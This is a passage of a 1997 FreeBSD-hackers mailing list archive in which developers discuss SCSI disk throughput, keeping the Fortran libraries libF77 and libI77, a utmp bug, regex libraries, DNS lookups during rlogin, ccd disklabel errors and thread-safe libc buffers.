Sep 1997 19:04:37 +0000 From: Josh Tiefenbach To: Stefan Esser Cc: hackers@freebsd.org, josh@doun.org Subject: Re: Problems with NCR810/Micropolis disk. References: <19970913204749.41765@doun.org> <19970914233827.50442@mi.uni-koeln.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: <19970914233827.50442@mi.uni-koeln.de>; from Stefan Esser on Sun, Sep 14, 1997 at 11:38:27PM +0200 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > In searching the archives, the I found a post to -scsi circa 12/96 with the > > exact same dmesg output (M_DISCONNEXT) involving an ncr810 and a 9GB > > Micropolis drive, but no solution/explanation was offered. > > Really ? I don't remember having seen such a message ... > Will have to check the archives myself ... Search on -scsi for Joe Greco's post on Dec 10/96 > > > Could this concievably be a hardware problem (ie, should I return the drive), > > or is there something patently obvious that I'm missing? > > Well, I don't know how you measured those 250KB/s > numbers. Could you please run bonnie (from ports) or Bonnie results: -------Sequential Output-------- ---Sequential Input-- --Random-- -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec %CPU 100 4046 49.4 4104 10.1 1675 6.8 4374 57.2 4661 13.4 87.5 2.8 > send results of "dd" with block sizes of 512 byte, > 4KB and 16KB ? dd results (in all cases, if=/dev/rsd0a of=/dev/null count = 10000) asherah:~# dd if=/dev/rsd0a of=/dev/null bs=512 count=10000 10000+0 records in 10000+0 records out 5120000 bytes transferred in 19.132326 secs (267610 bytes/sec) asherah:~# dd if=/dev/rsd0a of=/dev/null bs=4k count=10000 8192+0 records in 8192+0 records out 33554432 bytes transferred in 18.025235 secs (1861525 bytes/sec) asherah:~# dd if=/dev/rsd0a of=/dev/null bs=16k count=10000 2048+0 records in 2048+0 records out 33554432 bytes transferred in 6.669969 secs (5030673 bytes/sec) Hmmm. I see that with 16k blocksizes, the performance is much better, but the drive still feels `pokey'. -- HARANGUE, n. A speech by an opponent, who is known as an harrangue-outang -- Ambrose Bierce From owner-freebsd-hackers Sun Sep 14 16:06:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA09007 for hackers-outgoing; Sun, 14 Sep 1997 16:06:45 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA08994 for ; Sun, 14 Sep 1997 16:06:34 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id QAA00401; Sun, 14 Sep 1997 16:05:28 -0700 (PDT) To: jbryant@tfs.net cc: freebsd-hackers@FreeBSD.ORG Subject: Re: lib/libF77 and lib/libI77 In-reply-to: Your message of "Sun, 14 Sep 1997 15:48:36 CDT." <199709142048.PAA02118@argus.tfs.net> Date: Sun, 14 Sep 1997 16:05:27 -0700 Message-ID: <398.874278327@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > yes jordan, people still do use fortran... please keep them... You haven't answered my question at all. I've no doubt that people still use fortran, that was not my question. My question was *how precisely are these libraries used* by fortran programmers and, if they're used, why aren't they in the standard build order? If I can't find satisfactory answers to those questions then those libraries are history, sorry. Jordan From owner-freebsd-hackers Sun Sep 14 16:16:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA09740 for hackers-outgoing; Sun, 14 Sep 1997 16:16:01 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA09706 for ; Sun, 14 Sep 1997 16:15:53 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id AAA24723; Mon, 15 Sep 1997 00:05:53 +0100 (BST) Message-Id: <199709142305.AAA24723@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. In-reply-to: Your message of "Sun, 14 Sep 1997 13:15:45 PDT." <10396.874268145@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 00:05:53 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Reported today by one Eddie Wieder.. > > Log in somehow (real login, xterm -ls, whatever) and verify your > user/[pt]ty combo by doing who(1) and tty(1) commands. Now use > login(1) to log in as some other user and do the who/tty thing again. > You'll have a new utmp entry for the user you just logged in as. Now > log out and do another who(1). You'll have had your utmp entry > smashed and still show up as the user you logged in and out again as. > > Not sure how to fix this one - it's "interesting." :) This whole thing is a mess in every version of anything that rhymes with unix that I've ever come across. How about removing logwtmp() and having the whole thing dealt with by kern_exit.c (is that the right place ?) and tcsetpgrp(3). The idea is that calling tcsetpgrp() will call tcgetpgrp(). If tcgetpgrp() returns an invalid pid, we create a new entry in utmp() and tweak a "utmp'd" flag. Exit of a process would move the utmp entry to wtmp if it has the "utmp'd" flag. Would this work ? Would it make sense ? The result AFACT would be that someone doing a "login" themselves would not get a new utmp entry whereas anyone associating with a terminal for the first time (via getty or allocating a new pty) will get one - as they should. The only problem I forsee is that the UID of the process may not be correct at tcsetpgrp() time.... > Jordan -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Sep 14 16:37:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA11139 for hackers-outgoing; Sun, 14 Sep 1997 16:37:04 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA11134 for ; Sun, 14 Sep 1997 16:36:59 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA15573; Mon, 15 Sep 1997 09:06:50 +0930 (CST) Message-ID: <19970915090650.51201@lemis.com> Date: Mon, 15 Sep 1997 09:06:50 +0930 From: Greg Lehey To: Mike Smith Cc: spork , hackers@FreeBSD.ORG Subject: Re: www-sql on FreeBSD (fwd) References: <199709141447.AAA02254@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709141447.AAA02254@word.smith.net.au>; from Mike Smith on Mon, Sep 15, 1997 at 12:17:36AM +0930 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 12:17:36AM +0930, Mike Smith wrote: >> >> The problem is that while mySQL works fine on FBSD, the associated w3-msql >> equivalent, www-sql, was developed on Linux, and doesn't compile under >> FreeBSD. I mailed the author, and got the reply shown below about >> problems with a missing(?!) regex lib or somesuch. > > More likely, his code is expecting a different regex flavour. Greg, is > this something that PUS has some words of wisdom on? A little. I think I count four or five different versions. Henry Spencer wrote two different ones alone. > >> I have only had one conversation with someone else who uses FreeBSD, and >> they had the same problem. The problem seems to be that FreeBSD >> doesn't have a regex library. > > This is of course nonsense. FreeBSD has a perfectly good regex library. It also doesn't say much for the author. The correct answer would be the name of the library he's using. >> I sent him an archive, containing some files that I thought might help. >> The expression evaluator used in www-sql is simply the GNU version of the >> shell command expr, with its user interface knocked off. In the hope that >> it might be of some use, I have included the original `expr.c' as found in >> the GNU sh-utils package, and a diff against it to get an `expr.c' that >> will work with www-sql. > > The BSD expr is a yacc grammar with no user interface as such. It > should be relatively trivial for someone with even minor hacking skills > to rip the salient bits out of op_colon() in /usr/src/bin/expr.y and > transplant them into the expr code supplied. > > HOWEVER > > last I recall, the gnu shellutils built just fine on FreeBSD. I > suspect that the author may have either been overenthusiastic in > ripping stuff out, or hasn't included all of the configuration knobs > required to get the code to build properly. Have you looked at the > function in question to determine if there isn't a compile-time option > to tune for the BSD regex interface? You could also pick up the > original shellutils package and check to see if its' expr(1) has BSD > support. Certainly I find it hard to believe that this is the correct solution to the problem. Either it's one of the many standard regex libraries, in which case it should require it and link with it, or it isn't, in which case the source should be supplied with the package. Having to gather together bits and pieces just for FreeBSD doesn't sound right. Greg From owner-freebsd-hackers Sun Sep 14 16:41:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA11380 for hackers-outgoing; Sun, 14 Sep 1997 16:41:24 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA11375 for ; Sun, 14 Sep 1997 16:41:21 -0700 (PDT) Received: from argus.tfs.net (pm3-p42.tfs.net [206.154.183.234]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id RAA17557; Sun, 14 Sep 1997 17:39:57 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id SAA04550; Sun, 14 Sep 1997 18:41:16 -0500 (CDT) From: Jim Bryant Message-Id: <199709142341.SAA04550@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <398.874278327@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 14, 97 04:05:27 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 14 Sep 1997 18:41:15 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > > yes jordan, people still do use fortran... please keep them... > > You haven't answered my question at all. I've no doubt that people > still use fortran, that was not my question. My question was *how > precisely are these libraries used* by fortran programmers and, if > they're used, why aren't they in the standard build order? > > If I can't find satisfactory answers to those questions then those > libraries are history, sorry. > > Jordan They are the libs REQUIRED for f77/f2c to work, and i also believe that g77 relies on them... all standard fortran functions are in them, and misc stuff for the running of the compiled code from the above mentioned translators. Why they are not in the standard build order, I'm at a loss, but if you lose these libs, then you lose fortran... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 16:48:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA11718 for hackers-outgoing; Sun, 14 Sep 1997 16:48:14 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA11713 for ; Sun, 14 Sep 1997 16:48:09 -0700 (PDT) Received: from argus.tfs.net (pm3-p42.tfs.net [206.154.183.234]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id RAA18160; Sun, 14 Sep 1997 17:46:42 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id SAA04570; Sun, 14 Sep 1997 18:48:02 -0500 (CDT) From: Jim Bryant Message-Id: <199709142348.SAA04570@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <398.874278327@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 14, 97 04:05:27 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 14 Sep 1997 18:48:00 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > > yes jordan, people still do use fortran... please keep them... > > You haven't answered my question at all. I've no doubt that people > still use fortran, that was not my question. My question was *how > precisely are these libraries used* by fortran programmers and, if > they're used, why aren't they in the standard build order? > > If I can't find satisfactory answers to those questions then those > libraries are history, sorry. > > Jordan > > As an example of the importance of these libs, this is the first line of /usr/src/lib/libF77/main.c: /* STARTUP PROCEDURE FOR UNIX FORTRAN PROGRAMS */ jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 16:48:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA11754 for hackers-outgoing; Sun, 14 Sep 1997 16:48:46 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA11745 for ; Sun, 14 Sep 1997 16:48:40 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id QAA24294; Sun, 14 Sep 1997 16:48:39 -0700 (PDT) Date: Sun, 14 Sep 1997 16:48:39 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199709142348.QAA24294@kithrup.com> To: tlambert@primenet.com Subject: Re: nfs startup - perhaps it is a problem Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >The packets were dumped. Is the tool used to do this really that important? >The fact is there were packets sent that should never have been sent >given the system configuration requiring the use of the hosts file before >bind, and the fact the data was availble in the hosts file. That's what we're trying to find out. I don't care what tool did it -- tcpdump on the same host is desirable, since I believe you said it was the router, connected via PPP to your ISP. I am unable to reproduce your problem here on my 2.2-GAMMA system. My /etc/host.conf file had: # host.conf hosts bind My /etc/hosts had: 127.0.0.1 localhost.kithrup.com localhost 205.179.156.41 garth.kithrup.com garth 205.179.156.40 kithrup.com kithrup.kithrup.com ns.kithrup.com news.kithrup.com www.kithrup.com kithrup www ns My /etc/resolv.conf has: domain kithrup.com nameserver 165.227.1.1 nameserver 165.227.2.10 (sorry for the long line there. Obviously, things are not indented in either file.) Doing rlogin -KL8 kithrup on the machine (garth) does not cause any traffic to go to 165.227.*, according to tcpdump. (The ntpd I have does, however, but that's irrelevent to this discussion ;).) Since you have not provided any useful information -- such as what exact command you were doing, where the packets were going to, what port they were, what your hosts file is, what else was running on the system, which version of the OS you were running, etc. -- I'm not sure what you expect us to do. I was fully expecting to dive into debugging the resolver routines -- that is why I just changed garth's configuration to try to match what I could figure out of yours. Then I would have run tcpdump to find out what host the packets were going to; run ktrace or gdb on the programs generating them; etc. But since I don't have the problem, there's nothing I can do. There's nothing *anyone* can do, I suspect, without being on your system -- but we can try to make educated guesses, IF WE HAVE ENOUGH INFORMATION. The output of tcpdump is one of the bits of information that would be useful. Sean. From owner-freebsd-hackers Sun Sep 14 16:55:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA12066 for hackers-outgoing; Sun, 14 Sep 1997 16:55:09 -0700 (PDT) Received: from pobox.com (ott-on6-10.netcom.ca [207.181.91.137] (may be forged)) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA12060 for ; Sun, 14 Sep 1997 16:55:04 -0700 (PDT) Received: (from brianc@localhost) by pobox.com (8.8.5/8.8.5) id TAA06116; Sun, 14 Sep 1997 19:54:01 -0400 (EDT) Message-ID: <19970914195400.15375@pobox.com> Date: Sun, 14 Sep 1997 19:54:00 -0400 From: Brian Campbell To: freebsd-hackers@freebsd.org Subject: Re: ccd / newfs error References: <19970912232911.50519@pobox.com> <199709141011.DAA08111@blimp.mimi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: <199709141011.DAA08111@blimp.mimi.com>; from Satoshi Asami on Sun, Sep 14, 1997 at 03:11:11AM -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 14, 1997 at 03:11:11AM -0700, Satoshi Asami wrote: > * # ccdconfig -v ccd0 128 0 /dev/sd0h /dev/sd1h > * ccd0: 2 components (sd0h, sd1h), 8369408 blocks interleaved at 128 blocks > ^^^^^^^ > * # newfs ccd0a > * write error: 8369535 > ^^^^^^^ > * wtfs: Invalid argument > > You are writing past the end of the partition. ;) > > Note that disklabel on ccd returns a "default" label with only `c' if > there is no disklabel on the array, but will use one if it exists in > the first few blocks of the ccd (which means the first few blocks of > sd0h in your case). > > Your problem is most likely because ccd is using the disklabel you > edited when you had a slightly larger array (because of different > interleave). Yes. Thanks, this was the problem. Unfortunately disklabel doesn't even complain if you edit the (too large) label and write it back out. From owner-freebsd-hackers Sun Sep 14 16:55:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA12098 for hackers-outgoing; Sun, 14 Sep 1997 16:55:51 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA12093 for ; Sun, 14 Sep 1997 16:55:47 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id QAA24917; Sun, 14 Sep 1997 16:55:44 -0700 (PDT) Date: Sun, 14 Sep 1997 16:55:44 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199709142355.QAA24917@kithrup.com> To: tlambert@primenet.com Subject: Re: nfs startup - perhaps it is a problem References: <19970914142725.EE13458@uriah.heep.sax.de> from "J Wunsch" at Sep 14, 97 02:27:25 pm Organization: Kithrup Enterprises, Ltd. Cc: hackers@freebsd.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199709142148.OAA22603.kithrup.freebsd.hackers@usr09.primenet.com> you write: >I put the iijpp tcp/ip logging flag on, and watched the port 53 >requests go across for an rlogin into myself. Given that it was >a completely local connection that should have been handled over the >loopback interface (I did use my host name, and not "localhost", >however), it issuing reverse lookup requests for my machine instead >of getting the data out of /etc/hosts is an error. I just tried this. Same configuration as in my other message, and I did: rlogin -KL8 garth I had garth in my ~/.rhosts file. I changed that to "garth.kithrup.com" after the first test. On another screen, I had tcpdump -n port 53 and host garth running. (And I verified that, yes, it does indeed log DNS lookups.) So, once again: I don't know what to tell you. I am unable to reproduce it here. Sean. From owner-freebsd-hackers Sun Sep 14 17:05:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA12669 for hackers-outgoing; Sun, 14 Sep 1997 17:05:28 -0700 (PDT) Received: from eddie.mit.edu (EDDIE.MIT.EDU [18.62.0.6]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA12663 for ; Sun, 14 Sep 1997 17:05:25 -0700 (PDT) Received: by eddie.mit.edu id aa06379; 14 Sep 97 19:57 EDT Received: from ccomp.inode.com by eddie.mit.edu id aa06304; 14 Sep 97 19:46 EDT Received: (from gdk@localhost) by ccomp.inode.com (8.6.9/1.5) id TAA17189; Sun, 14 Sep 1997 19:47:41 -0400 From: Gary Kendall Message-Id: <199709142347.TAA17189@ccomp.inode.com> Subject: Re: lib/libF77 and lib/libI77 To: "Jordan K. Hubbard" Date: Sun, 14 Sep 1997 19:47:41 -0400 (EDT) Cc: freebsd-hackers@freebsd.ORG In-Reply-To: <398.874278327@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 14, 97 04:05:27 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.ORG X-Loop: FreeBSD.org Precedence: bulk It wasn't too long ago that Jordan K. Hubbard said: > > yes jordan, people still do use fortran... please keep them... > > You haven't answered my question at all. I've no doubt that people > still use fortran, that was not my question. My question was *how > precisely are these libraries used* by fortran programmers and, if > they're used, why aren't they in the standard build order? > > If I can't find satisfactory answers to those questions then those > libraries are history, sorry. > > Jordan The libf77.a library is the "standard library" that Fortran programs are linked against... similar to libc.a for C. I'm not familiar with libIf77.a, but suspect it's a variation of the standard for some special feature. At any rate, they come with the GNU compiler(s), and probably should be built by the Makefiles. Regards, Gary Kendall From owner-freebsd-hackers Sun Sep 14 17:27:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA14022 for hackers-outgoing; Sun, 14 Sep 1997 17:27:54 -0700 (PDT) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA14014 for ; Sun, 14 Sep 1997 17:27:51 -0700 (PDT) Received: from localhost (bradley@localhost) by ns2.harborcom.net (8.8.7/8.8.5) with SMTP id UAA29183; Sun, 14 Sep 1997 20:27:46 -0400 (EDT) Date: Sun, 14 Sep 1997 20:27:45 -0400 (EDT) From: Bradley Dunn X-Sender: bradley@ns2.harborcom.net To: Terry Lambert cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? In-Reply-To: <199709142144.OAA22143@usr09.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 14 Sep 1997, Terry Lambert wrote: > The FT buffer would have to be a different size; this is unlikely to > win as shared code. Actually, you might want to contact Vadim Antinov; > he did the BSDI driver before they had financial problems with the > USL lawsuit. I believe he works at Sprint now; I don't know how > axnious he would be to get back into the bowels of FT drivers, though. Nah, all the cool people that worked at Sprint are long gone. Vadim is building routers now. He can be reached at avg@pluris.com. His company is at http://www.pluris.com/ pbd -- "Seems she thought of me as some mystic, fatalistic, mystical guru Me, I haven't got a clue." -- Tears for Fears, "Cold" From owner-freebsd-hackers Sun Sep 14 17:30:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA14213 for hackers-outgoing; Sun, 14 Sep 1997 17:30:23 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA14202 for ; Sun, 14 Sep 1997 17:30:12 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id CAA01290; Mon, 15 Sep 1997 02:33:48 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709150033.CAA01290@ocean.campus.luth.se> Subject: Re: Memory leak in getservbyXXX? In-Reply-To: <199709122115.OAA25502@usr08.primenet.com> from Terry Lambert at "Sep 12, 97 09:15:34 pm" To: tlambert@primenet.com (Terry Lambert) Date: Mon, 15 Sep 1997 02:33:48 +0200 (CEST) Cc: julian@whistle.com, mike@smith.net.au, gram@cdsec.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Terry Lambert: > > > > It does seem like a memory leak, as the memory use reported by top grows > > > > over time. I have memory allocation debugging code which confirms that > > > > I have no leaks in my code (at least of C++ objects), and the fact that > > > > older sites have been running for months seems to confirm this. > > > > > > OK. More to the point then it sounds like it's a memory leak due to > > > some change in stdio. That's getting slightly easier to chase I > > > > they aren't using the threaded libc are they? > > Exactly my thought as well... > > To the user: you should note that the threaded libc differs from the > standard libc in that, instead of returning pointers to function > modified static data areas, most functions which formerly did just > that now return allocated buffers which contain the results, and it > is now the user's responsibility to free these buffers. > > The use of static data buffers in libc is a long-standing abomination, > blessed by ANSI and codified in stone by POSIX. Assume any man page > which states a pointer to a static data area is returned is actually > allocating a data area and expecting the caller to free it, whenever > you are using a thread-safe library. That seems... DUMB! Returning something that the user must free instead of static buffers, when that's the normal behaviour is just very very bad. Three words: Thread local storage. Let each tread have its OWN static buffer. This is actually nicer in some ways then having the programmer pass buffers to pointers, etc, in *_r versions of calls. It's nicer because it's less work for the user of the library. And returning something the user must free is just out of the question. That's ugly beyond belief. Everyone deals with their own memory. Libraries too. Ok, now you say "But what if we have real threads which have a stack and TLS on the same memory addresses! Then you can't share returned information between threads!". Yes, I say. Something like this: (Not thought about too long. Might contain errors.) All that is needed is that the library uses (for efficiency) to use a struct with all the libraries static buffers collected in it as entries. Then just allocate that struct with malloc, and make a pointer in TLS point to it. Like: struct z { ... char addr2ascii_buffer[64]; ... }; inline struct z *getstaticdatapointer(void) { /* don't remember these TLS call exactly... */ struct z *ptr = pthread_getkey(LIBC_STATIC_KEY); if (ptr == NULL) { /* or allocate always at pthread_create */ ptr == malloc( sizeof(struct z) ); pthread_setkey(ptr, LIBC_STATIC_KEY); } return ptr; } Accessed like: char *buffer_to_return = getstaticdatapointer().addr2ascii_buffer; Ok... exact implementaion is not important. But that way you make it as simple as possible for the programmer (he doesn't have to care about if he's MT or not, and there is no messing with allocating/freeing memory). And I see no problems with it. Speed/space possibly. But I think both are reasonable. Comments? /Mikael -- donning asbesto suit From owner-freebsd-hackers Sun Sep 14 17:32:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA14373 for hackers-outgoing; Sun, 14 Sep 1997 17:32:03 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA14345 for ; Sun, 14 Sep 1997 17:31:59 -0700 (PDT) Received: from argus.tfs.net (pm3-p42.tfs.net [206.154.183.234]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id SAA22735; Sun, 14 Sep 1997 18:30:35 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id TAA17848; Sun, 14 Sep 1997 19:31:54 -0500 (CDT) From: Jim Bryant Message-Id: <199709150031.TAA17848@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <199709142002.NAA10017@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 14, 97 01:02:30 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 14 Sep 1997 19:31:53 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > 1. They don't have Makefiles or, in libI77's case, have a > Makefile but don't build. Try /usr/src/lib/libf2c/Makefile. > 2. They're not referenced in the top level Makefile and hence are > not built or included in the release binaries by default. >From /usr/src/lib/Makefile: SUBDIR+=libc libcompat libcom_err libcurses libdisk libedit \ libf2c libftpio libgnumalloc libipx \ libkvm libmd libmytinfo libncurses libpcap libresolv librpcsvc \ libscsi libskey libss libtcl libtermcap libutil libxpg4 liby libz jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 17:36:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA14816 for hackers-outgoing; Sun, 14 Sep 1997 17:36:53 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA14787 for ; Sun, 14 Sep 1997 17:36:45 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id KAA17462; Mon, 15 Sep 1997 10:06:21 +0930 (CST) Message-ID: 